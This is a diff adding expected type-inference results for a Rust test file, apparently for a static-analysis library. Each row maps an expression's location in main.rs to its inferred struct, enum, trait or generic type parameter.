+| main.rs:313:13:313:14 | x3 | T | main.rs:257:5:260:5 | struct MyThing |
+| main.rs:313:13:313:14 | x3 | T.T | main.rs:262:5:263:14 | struct S1 |
+| main.rs:313:18:315:9 | MyThing {...} |  | main.rs:257:5:260:5 | struct MyThing |
+| main.rs:313:18:315:9 | MyThing {...} | T | main.rs:257:5:260:5 | struct MyThing |
+| main.rs:313:18:315:9 | MyThing {...} | T.T | main.rs:262:5:263:14 | struct S1 |
+| main.rs:314:16:314:32 | MyThing {...} |  | main.rs:257:5:260:5 | struct MyThing |
+| main.rs:314:16:314:32 | MyThing {...} | T | main.rs:262:5:263:14 | struct S1 |
+| main.rs:314:29:314:30 | S1 |  | main.rs:262:5:263:14 | struct S1 |
+| main.rs:316:13:316:14 | y3 |  | main.rs:257:5:260:5 | struct MyThing |
+| main.rs:316:13:316:14 | y3 | T | main.rs:257:5:260:5 | struct MyThing |
+| main.rs:316:13:316:14 | y3 | T.T | main.rs:264:5:265:14 | struct S2 |
+| main.rs:316:18:318:9 | MyThing {...} |  | main.rs:257:5:260:5 | struct MyThing |
+| main.rs:316:18:318:9 | MyThing {...} | T | main.rs:257:5:260:5 | struct MyThing |
+| main.rs:316:18:318:9 | MyThing {...} | T.T | main.rs:264:5:265:14 | struct S2 |
+| main.rs:317:16:317:32 | MyThing {...} |  | main.rs:257:5:260:5 | struct MyThing |
+| main.rs:317:16:317:32 | MyThing {...} | T | main.rs:264:5:265:14 | struct S2 |
+| main.rs:317:29:317:30 | S2 |  | main.rs:264:5:265:14 | struct S2 |
+| main.rs:320:26:320:48 | call_trait_thing_m1(...) |  | main.rs:262:5:263:14 | struct S1 |
+| main.rs:320:46:320:47 | x3 |  | main.rs:257:5:260:5 | struct MyThing |
+| main.rs:320:46:320:47 | x3 | T | main.rs:257:5:260:5 | struct MyThing |
+| main.rs:320:46:320:47 | x3 | T.T | main.rs:262:5:263:14 | struct S1 |
+| main.rs:321:26:321:48 | call_trait_thing_m1(...) |  | main.rs:264:5:265:14 | struct S2 |
+| main.rs:321:46:321:47 | y3 |  | main.rs:257:5:260:5 | struct MyThing |
+| main.rs:321:46:321:47 | y3 | T | main.rs:257:5:260:5 | struct MyThing |
+| main.rs:321:46:321:47 | y3 | T.T | main.rs:264:5:265:14 | struct S2 |
+| main.rs:329:15:329:18 | SelfParam |  | main.rs:326:5:338:5 | trait MyTrait |
+| main.rs:331:15:331:18 | SelfParam |  | main.rs:326:5:338:5 | trait MyTrait |
+| main.rs:346:15:346:18 | SelfParam |  | main.rs:340:5:341:13 | struct S |
+| main.rs:346:45:348:9 | { ... } |  | main.rs:340:5:341:13 | struct S |
+| main.rs:347:13:347:13 | S |  | main.rs:340:5:341:13 | struct S |
+| main.rs:352:13:352:13 | x |  | main.rs:340:5:341:13 | struct S |
+| main.rs:352:17:352:17 | S |  | main.rs:340:5:341:13 | struct S |
+| main.rs:353:26:353:26 | x |  | main.rs:340:5:341:13 | struct S |
+| main.rs:353:26:353:31 | x.m1(...) |  | main.rs:340:5:341:13 | struct S |
+| main.rs:355:13:355:13 | x |  | main.rs:326:5:338:5 | trait MyTrait |
+| main.rs:355:13:355:13 | x |  | main.rs:340:5:341:13 | struct S |
+| main.rs:355:17:355:17 | S |  | main.rs:326:5:338:5 | trait MyTrait |
+| main.rs:355:17:355:17 | S |  | main.rs:340:5:341:13 | struct S |
+| main.rs:356:26:356:26 | x |  | main.rs:326:5:338:5 | trait MyTrait |
+| main.rs:356:26:356:26 | x |  | main.rs:340:5:341:13 | struct S |
+| main.rs:373:15:373:18 | SelfParam |  | main.rs:361:5:365:5 | enum MyEnum |
+| main.rs:373:15:373:18 | SelfParam | A | main.rs:372:10:372:10 | T |
+| main.rs:373:26:378:9 | { ... } |  | main.rs:372:10:372:10 | T |
+| main.rs:374:13:377:13 | match self { ... } |  | main.rs:372:10:372:10 | T |
+| main.rs:374:19:374:22 | self |  | main.rs:361:5:365:5 | enum MyEnum |
+| main.rs:374:19:374:22 | self | A | main.rs:372:10:372:10 | T |
+| main.rs:375:28:375:28 | a |  | main.rs:372:10:372:10 | T |
+| main.rs:375:34:375:34 | a |  | main.rs:372:10:372:10 | T |
+| main.rs:376:30:376:30 | a |  | main.rs:372:10:372:10 | T |
+| main.rs:376:37:376:37 | a |  | main.rs:372:10:372:10 | T |
+| main.rs:382:13:382:13 | x |  | main.rs:361:5:365:5 | enum MyEnum |
+| main.rs:382:13:382:13 | x | A | main.rs:367:5:368:14 | struct S1 |
+| main.rs:382:17:382:30 | ...::C1(...) |  | main.rs:361:5:365:5 | enum MyEnum |
+| main.rs:382:17:382:30 | ...::C1(...) | A | main.rs:367:5:368:14 | struct S1 |
+| main.rs:382:28:382:29 | S1 |  | main.rs:367:5:368:14 | struct S1 |
+| main.rs:383:13:383:13 | y |  | main.rs:361:5:365:5 | enum MyEnum |
+| main.rs:383:13:383:13 | y | A | main.rs:369:5:370:14 | struct S2 |
+| main.rs:383:17:383:36 | ...::C2 {...} |  | main.rs:361:5:365:5 | enum MyEnum |
+| main.rs:383:17:383:36 | ...::C2 {...} | A | main.rs:369:5:370:14 | struct S2 |
+| main.rs:383:33:383:34 | S2 |  | main.rs:369:5:370:14 | struct S2 |
+| main.rs:385:26:385:26 | x |  | main.rs:361:5:365:5 | enum MyEnum |
+| main.rs:385:26:385:26 | x | A | main.rs:367:5:368:14 | struct S1 |
+| main.rs:385:26:385:31 | x.m1(...) |  | main.rs:367:5:368:14 | struct S1 |
+| main.rs:386:26:386:26 | y |  | main.rs:361:5:365:5 | enum MyEnum |
+| main.rs:386:26:386:26 | y | A | main.rs:369:5:370:14 | struct S2 |
+| main.rs:386:26:386:31 | y.m1(...) |  | main.rs:369:5:370:14 | struct S2 |
+| main.rs:407:15:407:18 | SelfParam |  | main.rs:406:5:408:5 | trait MyTrait1 |
+| main.rs:407:15:407:18 | SelfParam | Tr1 | main.rs:406:20:406:22 | Tr1 |
+| main.rs:411:15:411:18 | SelfParam |  | main.rs:406:5:408:5 | trait MyTrait1 |
+| main.rs:411:15:411:18 | SelfParam |  | main.rs:410:5:421:5 | trait MyTrait2 |
+| main.rs:411:15:411:18 | SelfParam | Tr1 | main.rs:410:20:410:22 | Tr2 |
+| main.rs:411:15:411:18 | SelfParam | Tr2 | main.rs:410:20:410:22 | Tr2 |
+| main.rs:414:9:420:9 | { ... } |  | main.rs:410:20:410:22 | Tr2 |
+| main.rs:415:13:419:13 | if ... {...} else {...} |  | main.rs:410:20:410:22 | Tr2 |
+| main.rs:415:26:417:13 | { ... } |  | main.rs:410:20:410:22 | Tr2 |
+| main.rs:416:17:416:20 | self |  | main.rs:406:5:408:5 | trait MyTrait1 |
+| main.rs:416:17:416:20 | self |  | main.rs:410:5:421:5 | trait MyTrait2 |
+| main.rs:416:17:416:20 | self | Tr1 | main.rs:410:20:410:22 | Tr2 |
+| main.rs:416:17:416:20 | self | Tr2 | main.rs:410:20:410:22 | Tr2 |
+| main.rs:416:17:416:25 | self.m1(...) |  | main.rs:410:20:410:22 | Tr2 |
+| main.rs:417:20:419:13 | { ... } |  | main.rs:410:20:410:22 | Tr2 |
+| main.rs:418:17:418:30 | ...::m1(...) |  | main.rs:410:20:410:22 | Tr2 |
+| main.rs:418:26:418:29 | self |  | main.rs:406:5:408:5 | trait MyTrait1 |
+| main.rs:418:26:418:29 | self |  | main.rs:410:5:421:5 | trait MyTrait2 |
+| main.rs:418:26:418:29 | self | Tr1 | main.rs:410:20:410:22 | Tr2 |
+| main.rs:418:26:418:29 | self | Tr2 | main.rs:410:20:410:22 | Tr2 |
+| main.rs:424:15:424:18 | SelfParam |  | main.rs:410:5:421:5 | trait MyTrait2 |
+| main.rs:424:15:424:18 | SelfParam |  | main.rs:423:5:434:5 | trait MyTrait3 |
+| main.rs:424:15:424:18 | SelfParam | Tr2 | main.rs:391:5:394:5 | struct MyThing |
+| main.rs:424:15:424:18 | SelfParam | Tr2.A | main.rs:423:20:423:22 | Tr3 |
+| main.rs:424:15:424:18 | SelfParam | Tr3 | main.rs:423:20:423:22 | Tr3 |
+| main.rs:427:9:433:9 | { ... } |  | main.rs:423:20:423:22 | Tr3 |
+| main.rs:428:13:432:13 | if ... {...} else {...} |  | main.rs:423:20:423:22 | Tr3 |
+| main.rs:428:26:430:13 | { ... } |  | main.rs:423:20:423:22 | Tr3 |
+| main.rs:429:17:429:20 | self |  | main.rs:410:5:421:5 | trait MyTrait2 |
+| main.rs:429:17:429:20 | self |  | main.rs:423:5:434:5 | trait MyTrait3 |
+| main.rs:429:17:429:20 | self | Tr2 | main.rs:391:5:394:5 | struct MyThing |
+| main.rs:429:17:429:20 | self | Tr2.A | main.rs:423:20:423:22 | Tr3 |
+| main.rs:429:17:429:20 | self | Tr3 | main.rs:423:20:423:22 | Tr3 |
+| main.rs:429:17:429:25 | self.m2(...) |  | main.rs:391:5:394:5 | struct MyThing |
+| main.rs:429:17:429:25 | self.m2(...) | A | main.rs:423:20:423:22 | Tr3 |
+| main.rs:429:17:429:27 | ... .a |  | main.rs:423:20:423:22 | Tr3 |
+| main.rs:430:20:432:13 | { ... } |  | main.rs:423:20:423:22 | Tr3 |
+| main.rs:431:17:431:30 | ...::m2(...) |  | main.rs:391:5:394:5 | struct MyThing |
+| main.rs:431:17:431:30 | ...::m2(...) | A | main.rs:423:20:423:22 | Tr3 |
+| main.rs:431:17:431:32 | ... .a |  | main.rs:423:20:423:22 | Tr3 |
+| main.rs:431:26:431:29 | self |  | main.rs:410:5:421:5 | trait MyTrait2 |
+| main.rs:431:26:431:29 | self |  | main.rs:423:5:434:5 | trait MyTrait3 |
+| main.rs:431:26:431:29 | self | Tr2 | main.rs:391:5:394:5 | struct MyThing |
+| main.rs:431:26:431:29 | self | Tr2.A | main.rs:423:20:423:22 | Tr3 |
+| main.rs:431:26:431:29 | self | Tr3 | main.rs:423:20:423:22 | Tr3 |
+| main.rs:437:15:437:18 | SelfParam |  | main.rs:391:5:394:5 | struct MyThing |
+| main.rs:437:15:437:18 | SelfParam | A | main.rs:436:10:436:10 | T |
+| main.rs:437:26:439:9 | { ... } |  | main.rs:436:10:436:10 | T |
+| main.rs:438:13:438:16 | self |  | main.rs:391:5:394:5 | struct MyThing |
+| main.rs:438:13:438:16 | self | A | main.rs:436:10:436:10 | T |
+| main.rs:438:13:438:18 | self.a |  | main.rs:436:10:436:10 | T |
+| main.rs:445:15:445:18 | SelfParam |  | main.rs:396:5:399:5 | struct MyThing2 |
+| main.rs:445:15:445:18 | SelfParam | A | main.rs:444:10:444:10 | T |
+| main.rs:445:35:447:9 | { ... } |  | main.rs:391:5:394:5 | struct MyThing |
+| main.rs:445:35:447:9 | { ... } | A | main.rs:444:10:444:10 | T |
+| main.rs:446:13:446:33 | MyThing {...} |  | main.rs:391:5:394:5 | struct MyThing |
+| main.rs:446:13:446:33 | MyThing {...} | A | main.rs:444:10:444:10 | T |
+| main.rs:446:26:446:29 | self |  | main.rs:396:5:399:5 | struct MyThing2 |
+| main.rs:446:26:446:29 | self | A | main.rs:444:10:444:10 | T |
+| main.rs:446:26:446:31 | self.a |  | main.rs:444:10:444:10 | T |
+| main.rs:455:13:455:13 | x |  | main.rs:391:5:394:5 | struct MyThing |
+| main.rs:455:13:455:13 | x | A | main.rs:401:5:402:14 | struct S1 |
+| main.rs:455:17:455:33 | MyThing {...} |  | main.rs:391:5:394:5 | struct MyThing |
+| main.rs:455:17:455:33 | MyThing {...} | A | main.rs:401:5:402:14 | struct S1 |
+| main.rs:455:30:455:31 | S1 |  | main.rs:401:5:402:14 | struct S1 |
+| main.rs:456:13:456:13 | y |  | main.rs:391:5:394:5 | struct MyThing |
+| main.rs:456:13:456:13 | y | A | main.rs:403:5:404:14 | struct S2 |
+| main.rs:456:17:456:33 | MyThing {...} |  | main.rs:391:5:394:5 | struct MyThing |
+| main.rs:456:17:456:33 | MyThing {...} | A | main.rs:403:5:404:14 | struct S2 |
+| main.rs:456:30:456:31 | S2 |  | main.rs:403:5:404:14 | struct S2 |
+| main.rs:458:26:458:26 | x |  | main.rs:391:5:394:5 | struct MyThing |
+| main.rs:458:26:458:26 | x | A | main.rs:401:5:402:14 | struct S1 |
+| main.rs:458:26:458:31 | x.m1(...) |  | main.rs:401:5:402:14 | struct S1 |
+| main.rs:459:26:459:26 | y |  | main.rs:391:5:394:5 | struct MyThing |
+| main.rs:459:26:459:26 | y | A | main.rs:403:5:404:14 | struct S2 |
+| main.rs:459:26:459:31 | y.m1(...) |  | main.rs:403:5:404:14 | struct S2 |
+| main.rs:461:13:461:13 | x |  | main.rs:391:5:394:5 | struct MyThing |
+| main.rs:461:13:461:13 | x |  | main.rs:410:5:421:5 | trait MyTrait2 |
+| main.rs:461:13:461:13 | x | A | main.rs:401:5:402:14 | struct S1 |
+| main.rs:461:13:461:13 | x | Tr2 | main.rs:401:5:402:14 | struct S1 |
+| main.rs:461:17:461:33 | MyThing {...} |  | main.rs:391:5:394:5 | struct MyThing |
+| main.rs:461:17:461:33 | MyThing {...} |  | main.rs:410:5:421:5 | trait MyTrait2 |
+| main.rs:461:17:461:33 | MyThing {...} | A | main.rs:401:5:402:14 | struct S1 |
+| main.rs:461:17:461:33 | MyThing {...} | Tr2 | main.rs:401:5:402:14 | struct S1 |
+| main.rs:461:30:461:31 | S1 |  | main.rs:401:5:402:14 | struct S1 |
+| main.rs:462:13:462:13 | y |  | main.rs:391:5:394:5 | struct MyThing |
+| main.rs:462:13:462:13 | y |  | main.rs:410:5:421:5 | trait MyTrait2 |
+| main.rs:462:13:462:13 | y | A | main.rs:403:5:404:14 | struct S2 |
+| main.rs:462:13:462:13 | y | Tr2 | main.rs:403:5:404:14 | struct S2 |
+| main.rs:462:17:462:33 | MyThing {...} |  | main.rs:391:5:394:5 | struct MyThing |
+| main.rs:462:17:462:33 | MyThing {...} |  | main.rs:410:5:421:5 | trait MyTrait2 |
+| main.rs:462:17:462:33 | MyThing {...} | A | main.rs:403:5:404:14 | struct S2 |
+| main.rs:462:17:462:33 | MyThing {...} | Tr2 | main.rs:403:5:404:14 | struct S2 |
+| main.rs:462:30:462:31 | S2 |  | main.rs:403:5:404:14 | struct S2 |
+| main.rs:464:26:464:26 | x |  | main.rs:391:5:394:5 | struct MyThing |
+| main.rs:464:26:464:26 | x |  | main.rs:410:5:421:5 | trait MyTrait2 |
+| main.rs:464:26:464:26 | x | A | main.rs:401:5:402:14 | struct S1 |
+| main.rs:464:26:464:26 | x | Tr2 | main.rs:401:5:402:14 | struct S1 |
+| main.rs:464:26:464:31 | x.m2(...) |  | main.rs:401:5:402:14 | struct S1 |
+| main.rs:465:26:465:26 | y |  | main.rs:391:5:394:5 | struct MyThing |
+| main.rs:465:26:465:26 | y |  | main.rs:410:5:421:5 | trait MyTrait2 |
+| main.rs:465:26:465:26 | y | A | main.rs:403:5:404:14 | struct S2 |
+| main.rs:465:26:465:26 | y | Tr2 | main.rs:403:5:404:14 | struct S2 |
+| main.rs:465:26:465:31 | y.m2(...) |  | main.rs:403:5:404:14 | struct S2 |
+| main.rs:467:13:467:13 | x |  | main.rs:396:5:399:5 | struct MyThing2 |
+| main.rs:467:13:467:13 | x |  | main.rs:423:5:434:5 | trait MyTrait3 |
+| main.rs:467:13:467:13 | x | A | main.rs:401:5:402:14 | struct S1 |
+| main.rs:467:13:467:13 | x | Tr3 | main.rs:401:5:402:14 | struct S1 |
+| main.rs:467:17:467:34 | MyThing2 {...} |  | main.rs:396:5:399:5 | struct MyThing2 |
+| main.rs:467:17:467:34 | MyThing2 {...} |  | main.rs:423:5:434:5 | trait MyTrait3 |
+| main.rs:467:17:467:34 | MyThing2 {...} | A | main.rs:401:5:402:14 | struct S1 |
+| main.rs:467:17:467:34 | MyThing2 {...} | Tr3 | main.rs:401:5:402:14 | struct S1 |
+| main.rs:467:31:467:32 | S1 |  | main.rs:401:5:402:14 | struct S1 |
+| main.rs:468:13:468:13 | y |  | main.rs:396:5:399:5 | struct MyThing2 |
+| main.rs:468:13:468:13 | y |  | main.rs:423:5:434:5 | trait MyTrait3 |
+| main.rs:468:13:468:13 | y | A | main.rs:403:5:404:14 | struct S2 |
+| main.rs:468:13:468:13 | y | Tr3 | main.rs:403:5:404:14 | struct S2 |
+| main.rs:468:17:468:34 | MyThing2 {...} |  | main.rs:396:5:399:5 | struct MyThing2 |
+| main.rs:468:17:468:34 | MyThing2 {...} |  | main.rs:423:5:434:5 | trait MyTrait3 |
+| main.rs:468:17:468:34 | MyThing2 {...} | A | main.rs:403:5:404:14 | struct S2 |
+| main.rs:468:17:468:34 | MyThing2 {...} | Tr3 | main.rs:403:5:404:14 | struct S2 |
+| main.rs:468:31:468:32 | S2 |  | main.rs:403:5:404:14 | struct S2 |
+| main.rs:470:26:470:26 | x |  | main.rs:396:5:399:5 | struct MyThing2 |
+| main.rs:470:26:470:26 | x |  | main.rs:423:5:434:5 | trait MyTrait3 |
+| main.rs:470:26:470:26 | x | A | main.rs:401:5:402:14 | struct S1 |
+| main.rs:470:26:470:26 | x | Tr3 | main.rs:401:5:402:14 | struct S1 |
+| main.rs:470:26:470:31 | x.m3(...) |  | main.rs:401:5:402:14 | struct S1 |
+| main.rs:471:26:471:26 | y |  | main.rs:396:5:399:5 | struct MyThing2 |
+| main.rs:471:26:471:26 | y |  | main.rs:423:5:434:5 | trait MyTrait3 |
+| main.rs:471:26:471:26 | y | A | main.rs:403:5:404:14 | struct S2 |
+| main.rs:471:26:471:26 | y | Tr3 | main.rs:403:5:404:14 | struct S2 |
+| main.rs:471:26:471:31 | y.m3(...) |  | main.rs:403:5:404:14 | struct S2 |
+| main.rs:489:22:489:22 | x |  | file://:0:0:0:0 | & |
+| main.rs:489:22:489:22 | x | &T | main.rs:489:11:489:19 | T |
+| main.rs:489:35:491:5 | { ... } |  | file://:0:0:0:0 | & |
+| main.rs:489:35:491:5 | { ... } | &T | main.rs:489:11:489:19 | T |
+| main.rs:490:9:490:9 | x |  | file://:0:0:0:0 | & |
+| main.rs:490:9:490:9 | x | &T | main.rs:489:11:489:19 | T |
+| main.rs:494:17:494:20 | SelfParam |  | main.rs:479:5:480:14 | struct S1 |
+| main.rs:494:29:496:9 | { ... } |  | main.rs:482:5:483:14 | struct S2 |
+| main.rs:495:13:495:14 | S2 |  | main.rs:482:5:483:14 | struct S2 |
+| main.rs:499:21:499:21 | x |  | main.rs:499:13:499:14 | T1 |
+| main.rs:502:5:504:5 | { ... } |  | main.rs:499:17:499:18 | T2 |
+| main.rs:503:9:503:9 | x |  | main.rs:499:13:499:14 | T1 |
+| main.rs:503:9:503:16 | x.into(...) |  | main.rs:499:17:499:18 | T2 |
+| main.rs:507:13:507:13 | x |  | main.rs:479:5:480:14 | struct S1 |
+| main.rs:507:17:507:18 | S1 |  | main.rs:479:5:480:14 | struct S1 |
+| main.rs:508:26:508:31 | id(...) |  | file://:0:0:0:0 | & |
+| main.rs:508:26:508:31 | id(...) | &T | main.rs:479:5:480:14 | struct S1 |
+| main.rs:508:29:508:30 | &x |  | file://:0:0:0:0 | & |
+| main.rs:508:29:508:30 | &x | &T | main.rs:479:5:480:14 | struct S1 |
+| main.rs:508:30:508:30 | x |  | main.rs:479:5:480:14 | struct S1 |
+| main.rs:510:13:510:13 | x |  | main.rs:479:5:480:14 | struct S1 |
+| main.rs:510:17:510:18 | S1 |  | main.rs:479:5:480:14 | struct S1 |
+| main.rs:511:26:511:37 | id::<...>(...) |  | file://:0:0:0:0 | & |
+| main.rs:511:26:511:37 | id::<...>(...) | &T | main.rs:479:5:480:14 | struct S1 |
+| main.rs:511:35:511:36 | &x |  | file://:0:0:0:0 | & |
+| main.rs:511:35:511:36 | &x | &T | main.rs:479:5:480:14 | struct S1 |
+| main.rs:511:36:511:36 | x |  | main.rs:479:5:480:14 | struct S1 |
+| main.rs:513:13:513:13 | x |  | main.rs:479:5:480:14 | struct S1 |
+| main.rs:513:17:513:18 | S1 |  | main.rs:479:5:480:14 | struct S1 |
+| main.rs:514:26:514:44 | id::<...>(...) |  | file://:0:0:0:0 | & |
+| main.rs:514:26:514:44 | id::<...>(...) | &T | main.rs:479:5:480:14 | struct S1 |
+| main.rs:514:42:514:43 | &x |  | file://:0:0:0:0 | & |
+| main.rs:514:42:514:43 | &x | &T | main.rs:479:5:480:14 | struct S1 |
+| main.rs:514:43:514:43 | x |  | main.rs:479:5:480:14 | struct S1 |
+| main.rs:516:13:516:13 | x |  | main.rs:479:5:480:14 | struct S1 |
+| main.rs:516:17:516:18 | S1 |  | main.rs:479:5:480:14 | struct S1 |
+| main.rs:517:9:517:25 | into::<...>(...) |  | main.rs:482:5:483:14 | struct S2 |
+| main.rs:517:24:517:24 | x |  | main.rs:479:5:480:14 | struct S1 |
+| main.rs:519:13:519:13 | x |  | main.rs:479:5:480:14 | struct S1 |
+| main.rs:519:17:519:18 | S1 |  | main.rs:479:5:480:14 | struct S1 |
+| main.rs:520:13:520:13 | y |  | main.rs:482:5:483:14 | struct S2 |
+| main.rs:520:21:520:27 | into(...) |  | main.rs:482:5:483:14 | struct S2 |
+| main.rs:520:26:520:26 | x |  | main.rs:479:5:480:14 | struct S1 |
+| main.rs:550:13:550:14 | p1 |  | main.rs:525:5:531:5 | enum PairOption |
+| main.rs:550:13:550:14 | p1 | Fst | main.rs:533:5:534:14 | struct S1 |
+| main.rs:550:13:550:14 | p1 | Snd | main.rs:536:5:537:14 | struct S2 |
+| main.rs:550:26:550:53 | ...::PairBoth(...) |  | main.rs:525:5:531:5 | enum PairOption |
+| main.rs:550:26:550:53 | ...::PairBoth(...) | Fst | main.rs:533:5:534:14 | struct S1 |
+| main.rs:550:26:550:53 | ...::PairBoth(...) | Snd | main.rs:536:5:537:14 | struct S2 |
+| main.rs:550:47:550:48 | S1 |  | main.rs:533:5:534:14 | struct S1 |
+| main.rs:550:51:550:52 | S2 |  | main.rs:536:5:537:14 | struct S2 |
+| main.rs:551:26:551:27 | p1 |  | main.rs:525:5:531:5 | enum PairOption |
+| main.rs:551:26:551:27 | p1 | Fst | main.rs:533:5:534:14 | struct S1 |
+| main.rs:551:26:551:27 | p1 | Snd | main.rs:536:5:537:14 | struct S2 |
+| main.rs:554:13:554:14 | p2 |  | main.rs:525:5:531:5 | enum PairOption |
+| main.rs:554:26:554:47 | ...::PairNone(...) |  | main.rs:525:5:531:5 | enum PairOption |
+| main.rs:555:26:555:27 | p2 |  | main.rs:525:5:531:5 | enum PairOption |
+| main.rs:558:13:558:14 | p3 |  | main.rs:525:5:531:5 | enum PairOption |
+| main.rs:558:13:558:14 | p3 | Snd | main.rs:539:5:540:14 | struct S3 |
+| main.rs:558:34:558:56 | ...::PairSnd(...) |  | main.rs:525:5:531:5 | enum PairOption |
+| main.rs:558:34:558:56 | ...::PairSnd(...) | Snd | main.rs:539:5:540:14 | struct S3 |
+| main.rs:558:54:558:55 | S3 |  | main.rs:539:5:540:14 | struct S3 |
+| main.rs:559:26:559:27 | p3 |  | main.rs:525:5:531:5 | enum PairOption |
+| main.rs:559:26:559:27 | p3 | Snd | main.rs:539:5:540:14 | struct S3 |
+| main.rs:562:13:562:14 | p3 |  | main.rs:525:5:531:5 | enum PairOption |
+| main.rs:562:13:562:14 | p3 | Fst | main.rs:539:5:540:14 | struct S3 |
+| main.rs:562:35:562:56 | ...::PairNone(...) |  | main.rs:525:5:531:5 | enum PairOption |
+| main.rs:562:35:562:56 | ...::PairNone(...) | Fst | main.rs:539:5:540:14 | struct S3 |
+| main.rs:563:26:563:27 | p3 |  | main.rs:525:5:531:5 | enum PairOption |
+| main.rs:563:26:563:27 | p3 | Fst | main.rs:539:5:540:14 | struct S3 |
+| main.rs:575:16:575:24 | SelfParam |  | file://:0:0:0:0 | & |
+| main.rs:575:16:575:24 | SelfParam | &T | main.rs:574:5:580:5 | trait MyTrait |
+| main.rs:575:16:575:24 | SelfParam | &T.S | main.rs:574:19:574:19 | S |
+| main.rs:575:27:575:31 | value |  | main.rs:574:19:574:19 | S |
+| main.rs:577:21:577:29 | SelfParam |  | file://:0:0:0:0 | & |
+| main.rs:577:21:577:29 | SelfParam | &T | main.rs:574:5:580:5 | trait MyTrait |
+| main.rs:577:21:577:29 | SelfParam | &T.S | main.rs:574:19:574:19 | S |
+| main.rs:577:32:577:36 | value |  | main.rs:574:19:574:19 | S |
+| main.rs:578:13:578:16 | self |  | file://:0:0:0:0 | & |
+| main.rs:578:13:578:16 | self | &T | main.rs:574:5:580:5 | trait MyTrait |
+| main.rs:578:13:578:16 | self | &T.S | main.rs:574:19:574:19 | S |
+| main.rs:578:22:578:26 | value |  | main.rs:574:19:574:19 | S |
+| main.rs:583:16:583:24 | SelfParam |  | file://:0:0:0:0 | & |
+| main.rs:583:16:583:24 | SelfParam | &T | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:583:16:583:24 | SelfParam | &T.T | main.rs:582:10:582:10 | T |
+| main.rs:583:27:583:31 | value |  | main.rs:582:10:582:10 | T |
+| main.rs:587:26:589:9 | { ... } |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:587:26:589:9 | { ... } | T | main.rs:586:10:586:10 | T |
+| main.rs:588:13:588:30 | ...::MyNone(...) |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:588:13:588:30 | ...::MyNone(...) | T | main.rs:586:10:586:10 | T |
+| main.rs:593:20:593:23 | SelfParam |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:593:20:593:23 | SelfParam | T | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:593:20:593:23 | SelfParam | T.T | main.rs:592:10:592:10 | T |
+| main.rs:593:41:598:9 | { ... } |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:593:41:598:9 | { ... } | T | main.rs:592:10:592:10 | T |
+| main.rs:594:13:597:13 | match self { ... } |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:594:13:597:13 | match self { ... } | T | main.rs:592:10:592:10 | T |
+| main.rs:594:19:594:22 | self |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:594:19:594:22 | self | T | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:594:19:594:22 | self | T.T | main.rs:592:10:592:10 | T |
+| main.rs:595:39:595:56 | ...::MyNone(...) |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:595:39:595:56 | ...::MyNone(...) | T | main.rs:592:10:592:10 | T |
+| main.rs:596:34:596:34 | x |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:596:34:596:34 | x | T | main.rs:592:10:592:10 | T |
+| main.rs:596:40:596:40 | x |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:596:40:596:40 | x | T | main.rs:592:10:592:10 | T |
+| main.rs:605:13:605:14 | x1 |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:605:18:605:37 | ...::new(...) |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:606:26:606:27 | x1 |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:608:13:608:18 | mut x2 |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:608:13:608:18 | mut x2 | T | main.rs:601:5:602:13 | struct S |
+| main.rs:608:22:608:36 | ...::new(...) |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:608:22:608:36 | ...::new(...) | T | main.rs:601:5:602:13 | struct S |
+| main.rs:609:9:609:10 | x2 |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:609:9:609:10 | x2 | T | main.rs:601:5:602:13 | struct S |
+| main.rs:609:16:609:16 | S |  | main.rs:601:5:602:13 | struct S |
+| main.rs:610:26:610:27 | x2 |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:610:26:610:27 | x2 | T | main.rs:601:5:602:13 | struct S |
+| main.rs:612:13:612:18 | mut x3 |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:612:13:612:18 | mut x3 |  | main.rs:574:5:580:5 | trait MyTrait |
+| main.rs:612:13:612:18 | mut x3 | S | main.rs:601:5:602:13 | struct S |
+| main.rs:612:22:612:36 | ...::new(...) |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:612:22:612:36 | ...::new(...) |  | main.rs:574:5:580:5 | trait MyTrait |
+| main.rs:612:22:612:36 | ...::new(...) | S | main.rs:601:5:602:13 | struct S |
+| main.rs:613:9:613:10 | x3 |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:613:9:613:10 | x3 |  | main.rs:574:5:580:5 | trait MyTrait |
+| main.rs:613:9:613:10 | x3 | S | main.rs:601:5:602:13 | struct S |
+| main.rs:613:21:613:21 | S |  | main.rs:601:5:602:13 | struct S |
+| main.rs:614:26:614:27 | x3 |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:614:26:614:27 | x3 |  | main.rs:574:5:580:5 | trait MyTrait |
+| main.rs:614:26:614:27 | x3 | S | main.rs:601:5:602:13 | struct S |
+| main.rs:616:13:616:18 | mut x4 |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:616:13:616:18 | mut x4 | T | main.rs:601:5:602:13 | struct S |
+| main.rs:616:22:616:36 | ...::new(...) |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:616:22:616:36 | ...::new(...) | T | main.rs:601:5:602:13 | struct S |
+| main.rs:617:23:617:29 | &mut x4 |  | file://:0:0:0:0 | & |
+| main.rs:617:23:617:29 | &mut x4 | &T | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:617:23:617:29 | &mut x4 | &T.T | main.rs:601:5:602:13 | struct S |
+| main.rs:617:28:617:29 | x4 |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:617:28:617:29 | x4 | T | main.rs:601:5:602:13 | struct S |
+| main.rs:617:32:617:32 | S |  | main.rs:601:5:602:13 | struct S |
